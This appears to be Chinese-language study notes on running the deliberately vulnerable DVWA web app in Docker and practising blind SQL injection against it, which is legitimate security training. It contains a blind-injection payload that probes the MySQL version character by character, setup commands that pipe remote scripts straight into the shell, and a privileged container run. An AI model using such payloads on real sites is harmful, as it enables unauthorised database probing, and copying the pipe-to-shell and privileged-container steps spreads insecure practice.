容器
#安装docker
curl -s https://bootstrap.pypa.io/get-pip.py | python3
curl -s https://get.docker.com/ | sh
service docker start
pip install docker-compose
#搜索镜像
docker search infoslack/dvwa
INDEX NAME DESCRIPTION STARS OFFICIAL AUTOMATED
docker.io docker.io/infoslack/dvwa 11 [OK]
#拉取镜像
docker pull docker.io/infoslack/dvwa
#查看镜像
docker images
#新建一个容器(--privileged=true 去除 SELINUX(加强版本防火墙) --name mydb 人为设定容器id)
docker run -itd -p 8080:80 -p 3306:3306 --name mydvwa --privileged=true infoslack/dvwa
#查看容器状态
docker ps -a
#停止容器
docker stop ${容器id}
#启动容器
dockers start ${容器id}
#进入容器
docker exec -it ${容器id} bash
#查看dvwa容器数据库密码
vi /app/config/config.inc.php
#获取镜像的元数据
docker inspect infoslack/dvwa
#获取容器的元数据
docker inspect ${容器id}
sql盲注
--原始sql
SELECT first_name, last_name FROM users WHERE user_id = '$id';
SELECT first_name, last_name FROM users WHERE user_id = '1' = '1' and substr(VERSION() , 1,1) = '5 ';
SELECT SUBSTR("helo", 2, 3); -- 输出 elo 左右闭区间
SELECT SUBSTRING("helo", 2, 3) -- 输出 elo 左右闭区间
SELECT MID("helo", 2, 3); -- 输出 elo 左右闭区间
SELECT LEFT('helo',2); -- 输出 he
SELECT RIGHT('helo',2) -- 输出 lo
SELECT IF(1 > 0,'Y' , 'N'); -- 输出 Y
SELECT IF(1 < 0,'Y' , 'N'); -- 输出 N
SELECT CASE WHEN 1=1 THEN 'Y' ELSE 'N' END --输出 Y
SELECT CHAR_LENGTH("helo") -- 4
SELECT substr(VERSION() , 1,1),VERSION()
#payload
1' = '1' and substr(VERSION() , 1,1) = '5
--sql
select * FROM users where user_id = '1' = '1' and substr(VERSION() , 1,1) = '5 '